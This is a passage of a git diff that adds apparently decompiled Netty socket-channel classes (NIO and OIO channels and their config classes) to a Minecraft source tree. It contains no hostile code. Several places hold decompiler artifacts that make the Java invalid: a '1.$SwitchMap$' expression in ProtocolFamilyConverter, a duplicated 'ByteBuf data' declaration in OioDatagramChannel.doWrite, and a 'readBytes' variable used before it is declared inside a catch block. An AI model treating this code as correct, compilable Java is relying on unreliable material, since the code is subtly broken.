+    throw new UnsupportedOperationException();
+  }
+  
+  protected SocketAddress remoteAddress0()
+  {
+    return null;
+  }
+  
+  protected void doDisconnect() throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected boolean doWriteMessage(Object msg, ChannelOutboundBuffer in) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected final Object filterOutboundMessage(Object msg) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  private final class NioServerSocketChannelConfig extends DefaultServerSocketChannelConfig {
+    private NioServerSocketChannelConfig(NioServerSocketChannel channel, ServerSocket javaSocket) {
+      super(javaSocket);
+    }
+    
+    protected void autoReadCleared()
+    {
+      setReadPending(false);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/socket/nio/NioSocketChannel.java b/src/minecraft/io/netty/channel/socket/nio/NioSocketChannel.java
new file mode 100644
index 0000000..59d84b9
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/nio/NioSocketChannel.java
@@ -0,0 +1,321 @@
+package io.netty.channel.socket.nio;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.EventLoop;
+import io.netty.channel.FileRegion;
+import io.netty.channel.nio.AbstractNioByteChannel;
+import io.netty.channel.socket.DefaultSocketChannelConfig;
+import io.netty.channel.socket.ServerSocketChannel;
+import io.netty.channel.socket.SocketChannelConfig;
+import io.netty.util.internal.OneTimeTask;
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.net.SocketAddress;
+import java.nio.ByteBuffer;
+import java.nio.channels.SelectionKey;
+import java.nio.channels.spi.SelectorProvider;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NioSocketChannel
+  extends AbstractNioByteChannel
+  implements io.netty.channel.socket.SocketChannel
+{
+  private static final ChannelMetadata METADATA = new ChannelMetadata(false);
+  private static final SelectorProvider DEFAULT_SELECTOR_PROVIDER = SelectorProvider.provider();
+  
+
+  private final SocketChannelConfig config;
+  
+
+  private static java.nio.channels.SocketChannel newSocket(SelectorProvider provider)
+  {
+    try
+    {
+      return provider.openSocketChannel();
+    } catch (IOException e) {
+      throw new ChannelException("Failed to open a socket.", e);
+    }
+  }
+  
+
+
+
+
+  public NioSocketChannel()
+  {
+    this(newSocket(DEFAULT_SELECTOR_PROVIDER));
+  }
+  
+
+
+  public NioSocketChannel(SelectorProvider provider)
+  {
+    this(newSocket(provider));
+  }
+  
+
+
+  public NioSocketChannel(java.nio.channels.SocketChannel socket)
+  {
+    this(null, socket);
+  }
+  
+
+
+
+
+
+  public NioSocketChannel(Channel parent, java.nio.channels.SocketChannel socket)
+  {
+    super(parent, socket);
+    config = new NioSocketChannelConfig(this, socket.socket(), null);
+  }
+  
+  public ServerSocketChannel parent()
+  {
+    return (ServerSocketChannel)super.parent();
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+  public SocketChannelConfig config()
+  {
+    return config;
+  }
+  
+  protected java.nio.channels.SocketChannel javaChannel()
+  {
+    return (java.nio.channels.SocketChannel)super.javaChannel();
+  }
+  
+  public boolean isActive()
+  {
+    java.nio.channels.SocketChannel ch = javaChannel();
+    return (ch.isOpen()) && (ch.isConnected());
+  }
+  
+  public boolean isInputShutdown()
+  {
+    return super.isInputShutdown();
+  }
+  
+  public InetSocketAddress localAddress()
+  {
+    return (InetSocketAddress)super.localAddress();
+  }
+  
+  public InetSocketAddress remoteAddress()
+  {
+    return (InetSocketAddress)super.remoteAddress();
+  }
+  
+  public boolean isOutputShutdown()
+  {
+    return (javaChannel().socket().isOutputShutdown()) || (!isActive());
+  }
+  
+  public ChannelFuture shutdownOutput()
+  {
+    return shutdownOutput(newPromise());
+  }
+  
+  public ChannelFuture shutdownOutput(final ChannelPromise promise)
+  {
+    EventLoop loop = eventLoop();
+    if (loop.inEventLoop()) {
+      try {
+        javaChannel().socket().shutdownOutput();
+        promise.setSuccess();
+      } catch (Throwable t) {
+        promise.setFailure(t);
+      }
+    } else {
+      loop.execute(new OneTimeTask()
+      {
+        public void run() {
+          shutdownOutput(promise);
+        }
+      });
+    }
+    return promise;
+  }
+  
+  protected SocketAddress localAddress0()
+  {
+    return javaChannel().socket().getLocalSocketAddress();
+  }
+  
+  protected SocketAddress remoteAddress0()
+  {
+    return javaChannel().socket().getRemoteSocketAddress();
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    javaChannel().socket().bind(localAddress);
+  }
+  
+  protected boolean doConnect(SocketAddress remoteAddress, SocketAddress localAddress) throws Exception
+  {
+    if (localAddress != null) {
+      javaChannel().socket().bind(localAddress);
+    }
+    
+    boolean success = false;
+    try {
+      boolean connected = javaChannel().connect(remoteAddress);
+      if (!connected) {
+        selectionKey().interestOps(8);
+      }
+      success = true;
+      return connected;
+    } finally {
+      if (!success) {
+        doClose();
+      }
+    }
+  }
+  
+  protected void doFinishConnect() throws Exception
+  {
+    if (!javaChannel().finishConnect()) {
+      throw new Error();
+    }
+  }
+  
+  protected void doDisconnect() throws Exception
+  {
+    doClose();
+  }
+  
+  protected void doClose() throws Exception
+  {
+    javaChannel().close();
+  }
+  
+  protected int doReadBytes(ByteBuf byteBuf) throws Exception
+  {
+    return byteBuf.writeBytes(javaChannel(), byteBuf.writableBytes());
+  }
+  
+  protected int doWriteBytes(ByteBuf buf) throws Exception
+  {
+    int expectedWrittenBytes = buf.readableBytes();
+    return buf.readBytes(javaChannel(), expectedWrittenBytes);
+  }
+  
+  protected long doWriteFileRegion(FileRegion region) throws Exception
+  {
+    long position = region.transfered();
+    return region.transferTo(javaChannel(), position);
+  }
+  
+  protected void doWrite(ChannelOutboundBuffer in) throws Exception
+  {
+    for (;;) {
+      int size = in.size();
+      if (size == 0)
+      {
+        clearOpWrite();
+        break;
+      }
+      long writtenBytes = 0L;
+      boolean done = false;
+      boolean setOpWrite = false;
+      
+
+      ByteBuffer[] nioBuffers = in.nioBuffers();
+      int nioBufferCnt = in.nioBufferCount();
+      long expectedWrittenBytes = in.nioBufferSize();
+      java.nio.channels.SocketChannel ch = javaChannel();
+      
+
+
+      switch (nioBufferCnt)
+      {
+      case 0: 
+        super.doWrite(in);
+        return;
+      
+      case 1: 
+        ByteBuffer nioBuffer = nioBuffers[0];
+        for (int i = config().getWriteSpinCount() - 1; i >= 0; i--) {
+          int localWrittenBytes = ch.write(nioBuffer);
+          if (localWrittenBytes == 0) {
+            setOpWrite = true;
+            break;
+          }
+          expectedWrittenBytes -= localWrittenBytes;
+          writtenBytes += localWrittenBytes;
+          if (expectedWrittenBytes == 0L) {
+            done = true;
+            break;
+          }
+        }
+        break;
+      default: 
+        for (int i = config().getWriteSpinCount() - 1; i >= 0; i--) {
+          long localWrittenBytes = ch.write(nioBuffers, 0, nioBufferCnt);
+          if (localWrittenBytes == 0L) {
+            setOpWrite = true;
+            break;
+          }
+          expectedWrittenBytes -= localWrittenBytes;
+          writtenBytes += localWrittenBytes;
+          if (expectedWrittenBytes == 0L) {
+            done = true;
+            break;
+          }
+        }
+      }
+      
+      
+
+      in.removeBytes(writtenBytes);
+      
+      if (!done)
+      {
+        incompleteWrite(setOpWrite);
+        break;
+      }
+    }
+  }
+  
+  private final class NioSocketChannelConfig extends DefaultSocketChannelConfig {
+    private NioSocketChannelConfig(NioSocketChannel channel, Socket javaSocket) {
+      super(javaSocket);
+    }
+    
+    protected void autoReadCleared()
+    {
+      setReadPending(false);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/socket/nio/ProtocolFamilyConverter.java b/src/minecraft/io/netty/channel/socket/nio/ProtocolFamilyConverter.java
new file mode 100644
index 0000000..e2efb3b
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/nio/ProtocolFamilyConverter.java
@@ -0,0 +1,44 @@
+package io.netty.channel.socket.nio;
+
+import io.netty.channel.socket.InternetProtocolFamily;
+import java.net.ProtocolFamily;
+import java.net.StandardProtocolFamily;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class ProtocolFamilyConverter
+{
+  private ProtocolFamilyConverter() {}
+  
+  public static ProtocolFamily convert(InternetProtocolFamily family)
+  {
+    switch (1.$SwitchMap$io$netty$channel$socket$InternetProtocolFamily[family.ordinal()]) {
+    case 1: 
+      return StandardProtocolFamily.INET;
+    case 2: 
+      return StandardProtocolFamily.INET6;
+    }
+    throw new IllegalArgumentException();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/socket/oio/DefaultOioServerSocketChannelConfig.java b/src/minecraft/io/netty/channel/socket/oio/DefaultOioServerSocketChannelConfig.java
new file mode 100644
index 0000000..43c4184
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/oio/DefaultOioServerSocketChannelConfig.java
@@ -0,0 +1,183 @@
+package io.netty.channel.socket.oio;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.socket.DefaultServerSocketChannelConfig;
+import io.netty.channel.socket.ServerSocketChannel;
+import java.io.IOException;
+import java.net.ServerSocket;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultOioServerSocketChannelConfig
+  extends DefaultServerSocketChannelConfig
+  implements OioServerSocketChannelConfig
+{
+  @Deprecated
+  public DefaultOioServerSocketChannelConfig(ServerSocketChannel channel, ServerSocket javaSocket)
+  {
+    super(channel, javaSocket);
+  }
+  
+  DefaultOioServerSocketChannelConfig(OioServerSocketChannel channel, ServerSocket javaSocket) {
+    super(channel, javaSocket);
+  }
+  
+  public Map<ChannelOption<?>, Object> getOptions()
+  {
+    return getOptions(super.getOptions(), new ChannelOption[] { ChannelOption.SO_TIMEOUT });
+  }
+  
+
+
+  public <T> T getOption(ChannelOption<T> option)
+  {
+    if (option == ChannelOption.SO_TIMEOUT) {
+      return Integer.valueOf(getSoTimeout());
+    }
+    return super.getOption(option);
+  }
+  
+  public <T> boolean setOption(ChannelOption<T> option, T value)
+  {
+    validate(option, value);
+    
+    if (option == ChannelOption.SO_TIMEOUT) {
+      setSoTimeout(((Integer)value).intValue());
+    } else {
+      return super.setOption(option, value);
+    }
+    return true;
+  }
+  
+  public OioServerSocketChannelConfig setSoTimeout(int timeout)
+  {
+    try {
+      javaSocket.setSoTimeout(timeout);
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public int getSoTimeout()
+  {
+    try {
+      return javaSocket.getSoTimeout();
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public OioServerSocketChannelConfig setBacklog(int backlog)
+  {
+    super.setBacklog(backlog);
+    return this;
+  }
+  
+  public OioServerSocketChannelConfig setReuseAddress(boolean reuseAddress)
+  {
+    super.setReuseAddress(reuseAddress);
+    return this;
+  }
+  
+  public OioServerSocketChannelConfig setReceiveBufferSize(int receiveBufferSize)
+  {
+    super.setReceiveBufferSize(receiveBufferSize);
+    return this;
+  }
+  
+  public OioServerSocketChannelConfig setPerformancePreferences(int connectionTime, int latency, int bandwidth)
+  {
+    super.setPerformancePreferences(connectionTime, latency, bandwidth);
+    return this;
+  }
+  
+  public OioServerSocketChannelConfig setConnectTimeoutMillis(int connectTimeoutMillis)
+  {
+    super.setConnectTimeoutMillis(connectTimeoutMillis);
+    return this;
+  }
+  
+  public OioServerSocketChannelConfig setMaxMessagesPerRead(int maxMessagesPerRead)
+  {
+    super.setMaxMessagesPerRead(maxMessagesPerRead);
+    return this;
+  }
+  
+  public OioServerSocketChannelConfig setWriteSpinCount(int writeSpinCount)
+  {
+    super.setWriteSpinCount(writeSpinCount);
+    return this;
+  }
+  
+  public OioServerSocketChannelConfig setAllocator(ByteBufAllocator allocator)
+  {
+    super.setAllocator(allocator);
+    return this;
+  }
+  
+  public OioServerSocketChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator allocator)
+  {
+    super.setRecvByteBufAllocator(allocator);
+    return this;
+  }
+  
+  public OioServerSocketChannelConfig setAutoRead(boolean autoRead)
+  {
+    super.setAutoRead(autoRead);
+    return this;
+  }
+  
+  protected void autoReadCleared()
+  {
+    if ((channel instanceof OioServerSocketChannel)) {
+      ((OioServerSocketChannel)channel).setReadPending(false);
+    }
+  }
+  
+  public OioServerSocketChannelConfig setAutoClose(boolean autoClose)
+  {
+    super.setAutoClose(autoClose);
+    return this;
+  }
+  
+  public OioServerSocketChannelConfig setWriteBufferHighWaterMark(int writeBufferHighWaterMark)
+  {
+    super.setWriteBufferHighWaterMark(writeBufferHighWaterMark);
+    return this;
+  }
+  
+  public OioServerSocketChannelConfig setWriteBufferLowWaterMark(int writeBufferLowWaterMark)
+  {
+    super.setWriteBufferLowWaterMark(writeBufferLowWaterMark);
+    return this;
+  }
+  
+  public OioServerSocketChannelConfig setMessageSizeEstimator(MessageSizeEstimator estimator)
+  {
+    super.setMessageSizeEstimator(estimator);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/socket/oio/DefaultOioSocketChannelConfig.java b/src/minecraft/io/netty/channel/socket/oio/DefaultOioSocketChannelConfig.java
new file mode 100644
index 0000000..c1c4089
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/oio/DefaultOioSocketChannelConfig.java
@@ -0,0 +1,211 @@
+package io.netty.channel.socket.oio;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.socket.DefaultSocketChannelConfig;
+import io.netty.channel.socket.SocketChannel;
+import java.io.IOException;
+import java.net.Socket;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultOioSocketChannelConfig
+  extends DefaultSocketChannelConfig
+  implements OioSocketChannelConfig
+{
+  @Deprecated
+  public DefaultOioSocketChannelConfig(SocketChannel channel, Socket javaSocket)
+  {
+    super(channel, javaSocket);
+  }
+  
+  DefaultOioSocketChannelConfig(OioSocketChannel channel, Socket javaSocket) {
+    super(channel, javaSocket);
+  }
+  
+  public Map<ChannelOption<?>, Object> getOptions()
+  {
+    return getOptions(super.getOptions(), new ChannelOption[] { ChannelOption.SO_TIMEOUT });
+  }
+  
+
+
+  public <T> T getOption(ChannelOption<T> option)
+  {
+    if (option == ChannelOption.SO_TIMEOUT) {
+      return Integer.valueOf(getSoTimeout());
+    }
+    return super.getOption(option);
+  }
+  
+  public <T> boolean setOption(ChannelOption<T> option, T value)
+  {
+    validate(option, value);
+    
+    if (option == ChannelOption.SO_TIMEOUT) {
+      setSoTimeout(((Integer)value).intValue());
+    } else {
+      return super.setOption(option, value);
+    }
+    return true;
+  }
+  
+  public OioSocketChannelConfig setSoTimeout(int timeout)
+  {
+    try {
+      javaSocket.setSoTimeout(timeout);
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public int getSoTimeout()
+  {
+    try {
+      return javaSocket.getSoTimeout();
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public OioSocketChannelConfig setTcpNoDelay(boolean tcpNoDelay)
+  {
+    super.setTcpNoDelay(tcpNoDelay);
+    return this;
+  }
+  
+  public OioSocketChannelConfig setSoLinger(int soLinger)
+  {
+    super.setSoLinger(soLinger);
+    return this;
+  }
+  
+  public OioSocketChannelConfig setSendBufferSize(int sendBufferSize)
+  {
+    super.setSendBufferSize(sendBufferSize);
+    return this;
+  }
+  
+  public OioSocketChannelConfig setReceiveBufferSize(int receiveBufferSize)
+  {
+    super.setReceiveBufferSize(receiveBufferSize);
+    return this;
+  }
+  
+  public OioSocketChannelConfig setKeepAlive(boolean keepAlive)
+  {
+    super.setKeepAlive(keepAlive);
+    return this;
+  }
+  
+  public OioSocketChannelConfig setTrafficClass(int trafficClass)
+  {
+    super.setTrafficClass(trafficClass);
+    return this;
+  }
+  
+  public OioSocketChannelConfig setReuseAddress(boolean reuseAddress)
+  {
+    super.setReuseAddress(reuseAddress);
+    return this;
+  }
+  
+  public OioSocketChannelConfig setPerformancePreferences(int connectionTime, int latency, int bandwidth)
+  {
+    super.setPerformancePreferences(connectionTime, latency, bandwidth);
+    return this;
+  }
+  
+  public OioSocketChannelConfig setAllowHalfClosure(boolean allowHalfClosure)
+  {
+    super.setAllowHalfClosure(allowHalfClosure);
+    return this;
+  }
+  
+  public OioSocketChannelConfig setConnectTimeoutMillis(int connectTimeoutMillis)
+  {
+    super.setConnectTimeoutMillis(connectTimeoutMillis);
+    return this;
+  }
+  
+  public OioSocketChannelConfig setMaxMessagesPerRead(int maxMessagesPerRead)
+  {
+    super.setMaxMessagesPerRead(maxMessagesPerRead);
+    return this;
+  }
+  
+  public OioSocketChannelConfig setWriteSpinCount(int writeSpinCount)
+  {
+    super.setWriteSpinCount(writeSpinCount);
+    return this;
+  }
+  
+  public OioSocketChannelConfig setAllocator(ByteBufAllocator allocator)
+  {
+    super.setAllocator(allocator);
+    return this;
+  }
+  
+  public OioSocketChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator allocator)
+  {
+    super.setRecvByteBufAllocator(allocator);
+    return this;
+  }
+  
+  public OioSocketChannelConfig setAutoRead(boolean autoRead)
+  {
+    super.setAutoRead(autoRead);
+    return this;
+  }
+  
+  protected void autoReadCleared()
+  {
+    if ((channel instanceof OioSocketChannel)) {
+      ((OioSocketChannel)channel).setReadPending(false);
+    }
+  }
+  
+  public OioSocketChannelConfig setAutoClose(boolean autoClose)
+  {
+    super.setAutoClose(autoClose);
+    return this;
+  }
+  
+  public OioSocketChannelConfig setWriteBufferHighWaterMark(int writeBufferHighWaterMark)
+  {
+    super.setWriteBufferHighWaterMark(writeBufferHighWaterMark);
+    return this;
+  }
+  
+  public OioSocketChannelConfig setWriteBufferLowWaterMark(int writeBufferLowWaterMark)
+  {
+    super.setWriteBufferLowWaterMark(writeBufferLowWaterMark);
+    return this;
+  }
+  
+  public OioSocketChannelConfig setMessageSizeEstimator(MessageSizeEstimator estimator)
+  {
+    super.setMessageSizeEstimator(estimator);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/socket/oio/OioDatagramChannel.java b/src/minecraft/io/netty/channel/socket/oio/OioDatagramChannel.java
new file mode 100644
index 0000000..7b08464
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/oio/OioDatagramChannel.java
@@ -0,0 +1,435 @@
+package io.netty.channel.socket.oio;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.AddressedEnvelope;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.RecvByteBufAllocator.Handle;
+import io.netty.channel.oio.AbstractOioMessageChannel;
+import io.netty.channel.socket.DatagramChannel;
+import io.netty.channel.socket.DatagramChannelConfig;
+import io.netty.channel.socket.DefaultDatagramChannelConfig;
+import io.netty.util.internal.EmptyArrays;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.StringUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.MulticastSocket;
+import java.net.NetworkInterface;
+import java.net.SocketAddress;
+import java.net.SocketException;
+import java.net.SocketTimeoutException;
+import java.util.List;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class OioDatagramChannel
+  extends AbstractOioMessageChannel
+  implements DatagramChannel
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(OioDatagramChannel.class);
+  
+  private static final ChannelMetadata METADATA = new ChannelMetadata(true);
+  private static final String EXPECTED_TYPES = " (expected: " + StringUtil.simpleClassName(io.netty.channel.socket.DatagramPacket.class) + ", " + StringUtil.simpleClassName(AddressedEnvelope.class) + '<' + StringUtil.simpleClassName(ByteBuf.class) + ", " + StringUtil.simpleClassName(SocketAddress.class) + ">, " + StringUtil.simpleClassName(ByteBuf.class) + ')';
+  
+
+  private final MulticastSocket socket;
+  
+
+  private final DatagramChannelConfig config;
+  
+
+  private final java.net.DatagramPacket tmpPacket = new java.net.DatagramPacket(EmptyArrays.EMPTY_BYTES, 0);
+  private RecvByteBufAllocator.Handle allocHandle;
+  
+  private static MulticastSocket newSocket()
+  {
+    try {
+      return new MulticastSocket(null);
+    } catch (Exception e) {
+      throw new ChannelException("failed to create a new socket", e);
+    }
+  }
+  
+
+
+  public OioDatagramChannel()
+  {
+    this(newSocket());
+  }
+  
+
+
+
+
+  public OioDatagramChannel(MulticastSocket socket)
+  {
+    super(null);
+    
+    boolean success = false;
+    try {
+      socket.setSoTimeout(1000);
+      socket.setBroadcast(false);
+      success = true;
+    } catch (SocketException e) {
+      throw new ChannelException("Failed to configure the datagram socket timeout.", e);
+    }
+    finally {
+      if (!success) {
+        socket.close();
+      }
+    }
+    
+    this.socket = socket;
+    config = new DefaultDatagramChannelConfig(this, socket);
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+  public DatagramChannelConfig config()
+  {
+    return config;
+  }
+  
+  public boolean isOpen()
+  {
+    return !socket.isClosed();
+  }
+  
+
+  public boolean isActive()
+  {
+    return (isOpen()) && (((((Boolean)config.getOption(ChannelOption.DATAGRAM_CHANNEL_ACTIVE_ON_REGISTRATION)).booleanValue()) && (isRegistered())) || (socket.isBound()));
+  }
+  
+
+
+  public boolean isConnected()
+  {
+    return socket.isConnected();
+  }
+  
+  protected SocketAddress localAddress0()
+  {
+    return socket.getLocalSocketAddress();
+  }
+  
+  protected SocketAddress remoteAddress0()
+  {
+    return socket.getRemoteSocketAddress();
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    socket.bind(localAddress);
+  }
+  
+  public InetSocketAddress localAddress()
+  {
+    return (InetSocketAddress)super.localAddress();
+  }
+  
+  public InetSocketAddress remoteAddress()
+  {
+    return (InetSocketAddress)super.remoteAddress();
+  }
+  
+  protected void doConnect(SocketAddress remoteAddress, SocketAddress localAddress)
+    throws Exception
+  {
+    if (localAddress != null) {
+      socket.bind(localAddress);
+    }
+    
+    boolean success = false;
+    try {
+      socket.connect(remoteAddress);
+      success = true; return;
+    } finally {
+      if (!success) {
+        try {
+          socket.close();
+        } catch (Throwable t) {
+          logger.warn("Failed to close a socket.", t);
+        }
+      }
+    }
+  }
+  
+  protected void doDisconnect() throws Exception
+  {
+    socket.disconnect();
+  }
+  
+  protected void doClose() throws Exception
+  {
+    socket.close();
+  }
+  
+  protected int doReadMessages(List<Object> buf) throws Exception
+  {
+    DatagramChannelConfig config = config();
+    RecvByteBufAllocator.Handle allocHandle = this.allocHandle;
+    if (allocHandle == null) {
+      this.allocHandle = (allocHandle = config.getRecvByteBufAllocator().newHandle());
+    }
+    
+    ByteBuf data = config.getAllocator().heapBuffer(allocHandle.guess());
+    boolean free = true;
+    try {
+      tmpPacket.setData(data.array(), data.arrayOffset(), data.capacity());
+      socket.receive(tmpPacket);
+      
+      InetSocketAddress remoteAddr = (InetSocketAddress)tmpPacket.getSocketAddress();
+      
+      readBytes = tmpPacket.getLength();
+      allocHandle.record(readBytes);
+      buf.add(new io.netty.channel.socket.DatagramPacket(data.writerIndex(readBytes), localAddress(), remoteAddr));
+      free = false;
+      return 1;
+    }
+    catch (SocketTimeoutException e) {
+      return 0;
+    } catch (SocketException e) {
+      if (!e.getMessage().toLowerCase(Locale.US).contains("socket closed")) {
+        throw e;
+      }
+      return -1;
+    } catch (Throwable cause) { int readBytes;
+      PlatformDependent.throwException(cause);
+      return -1;
+    } finally {
+      if (free) {
+        data.release();
+      }
+    }
+  }
+  
+  protected void doWrite(ChannelOutboundBuffer in) throws Exception
+  {
+    for (;;) {
+      Object o = in.current();
+      if (o == null) {
+        break;
+      }
+      ByteBuf data;
+      ByteBuf data;
+      SocketAddress remoteAddress;
+      if ((o instanceof AddressedEnvelope))
+      {
+        AddressedEnvelope<ByteBuf, SocketAddress> envelope = (AddressedEnvelope)o;
+        SocketAddress remoteAddress = envelope.recipient();
+        data = (ByteBuf)envelope.content();
+      } else {
+        data = (ByteBuf)o;
+        remoteAddress = null;
+      }
+      
+      int length = data.readableBytes();
+      if (remoteAddress != null) {
+        tmpPacket.setSocketAddress(remoteAddress);
+      }
+      if (data.hasArray()) {
+        tmpPacket.setData(data.array(), data.arrayOffset() + data.readerIndex(), length);
+      } else {
+        byte[] tmp = new byte[length];
+        data.getBytes(data.readerIndex(), tmp);
+        tmpPacket.setData(tmp);
+      }
+      try {
+        socket.send(tmpPacket);
+        in.remove();
+
+      }
+      catch (IOException e)
+      {
+        in.remove(e);
+      }
+    }
+  }
+  
+  protected Object filterOutboundMessage(Object msg)
+  {
+    if (((msg instanceof io.netty.channel.socket.DatagramPacket)) || ((msg instanceof ByteBuf))) {
+      return msg;
+    }
+    
+    if ((msg instanceof AddressedEnvelope))
+    {
+      AddressedEnvelope<Object, SocketAddress> e = (AddressedEnvelope)msg;
+      if ((e.content() instanceof ByteBuf)) {
+        return msg;
+      }
+    }
+    
+    throw new UnsupportedOperationException("unsupported message type: " + StringUtil.simpleClassName(msg) + EXPECTED_TYPES);
+  }
+  
+
+  public ChannelFuture joinGroup(InetAddress multicastAddress)
+  {
+    return joinGroup(multicastAddress, newPromise());
+  }
+  
+  public ChannelFuture joinGroup(InetAddress multicastAddress, ChannelPromise promise)
+  {
+    ensureBound();
+    try {
+      socket.joinGroup(multicastAddress);
+      promise.setSuccess();
+    } catch (IOException e) {
+      promise.setFailure(e);
+    }
+    return promise;
+  }
+  
+  public ChannelFuture joinGroup(InetSocketAddress multicastAddress, NetworkInterface networkInterface)
+  {
+    return joinGroup(multicastAddress, networkInterface, newPromise());
+  }
+  
+
+
+  public ChannelFuture joinGroup(InetSocketAddress multicastAddress, NetworkInterface networkInterface, ChannelPromise promise)
+  {
+    ensureBound();
+    try {
+      socket.joinGroup(multicastAddress, networkInterface);
+      promise.setSuccess();
+    } catch (IOException e) {
+      promise.setFailure(e);
+    }
+    return promise;
+  }
+  
+
+  public ChannelFuture joinGroup(InetAddress multicastAddress, NetworkInterface networkInterface, InetAddress source)
+  {
+    return newFailedFuture(new UnsupportedOperationException());
+  }
+  
+
+
+  public ChannelFuture joinGroup(InetAddress multicastAddress, NetworkInterface networkInterface, InetAddress source, ChannelPromise promise)
+  {
+    promise.setFailure(new UnsupportedOperationException());
+    return promise;
+  }
+  
+  private void ensureBound() {
+    if (!isActive()) {
+      throw new IllegalStateException(DatagramChannel.class.getName() + " must be bound to join a group.");
+    }
+  }
+  
+
+
+  public ChannelFuture leaveGroup(InetAddress multicastAddress)
+  {
+    return leaveGroup(multicastAddress, newPromise());
+  }
+  
+  public ChannelFuture leaveGroup(InetAddress multicastAddress, ChannelPromise promise)
+  {
+    try {
+      socket.leaveGroup(multicastAddress);
+      promise.setSuccess();
+    } catch (IOException e) {
+      promise.setFailure(e);
+    }
+    return promise;
+  }
+  
+
+  public ChannelFuture leaveGroup(InetSocketAddress multicastAddress, NetworkInterface networkInterface)
+  {
+    return leaveGroup(multicastAddress, networkInterface, newPromise());
+  }
+  
+
+  public ChannelFuture leaveGroup(InetSocketAddress multicastAddress, NetworkInterface networkInterface, ChannelPromise promise)
+  {
+    try
+    {
+      socket.leaveGroup(multicastAddress, networkInterface);
+      promise.setSuccess();
+    } catch (IOException e) {
+      promise.setFailure(e);
+    }
+    return promise;
+  }
+  
+
+  public ChannelFuture leaveGroup(InetAddress multicastAddress, NetworkInterface networkInterface, InetAddress source)
+  {
+    return newFailedFuture(new UnsupportedOperationException());
+  }
+  
+
+
+  public ChannelFuture leaveGroup(InetAddress multicastAddress, NetworkInterface networkInterface, InetAddress source, ChannelPromise promise)
+  {
+    promise.setFailure(new UnsupportedOperationException());
+    return promise;
+  }
+  
+
+  public ChannelFuture block(InetAddress multicastAddress, NetworkInterface networkInterface, InetAddress sourceToBlock)
+  {
+    return newFailedFuture(new UnsupportedOperationException());
+  }
+  
+
+
+  public ChannelFuture block(InetAddress multicastAddress, NetworkInterface networkInterface, InetAddress sourceToBlock, ChannelPromise promise)
+  {
+    promise.setFailure(new UnsupportedOperationException());
+    return promise;
+  }
+  
+
+  public ChannelFuture block(InetAddress multicastAddress, InetAddress sourceToBlock)
+  {
+    return newFailedFuture(new UnsupportedOperationException());
+  }
+  
+
+  public ChannelFuture block(InetAddress multicastAddress, InetAddress sourceToBlock, ChannelPromise promise)
+  {
+    promise.setFailure(new UnsupportedOperationException());
+    return promise;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/socket/oio/OioServerSocketChannel.java b/src/minecraft/io/netty/channel/socket/oio/OioServerSocketChannel.java
new file mode 100644
index 0000000..a31ffdf
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/oio/OioServerSocketChannel.java
@@ -0,0 +1,220 @@
+package io.netty.channel.socket.oio;
+
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.oio.AbstractOioMessageChannel;
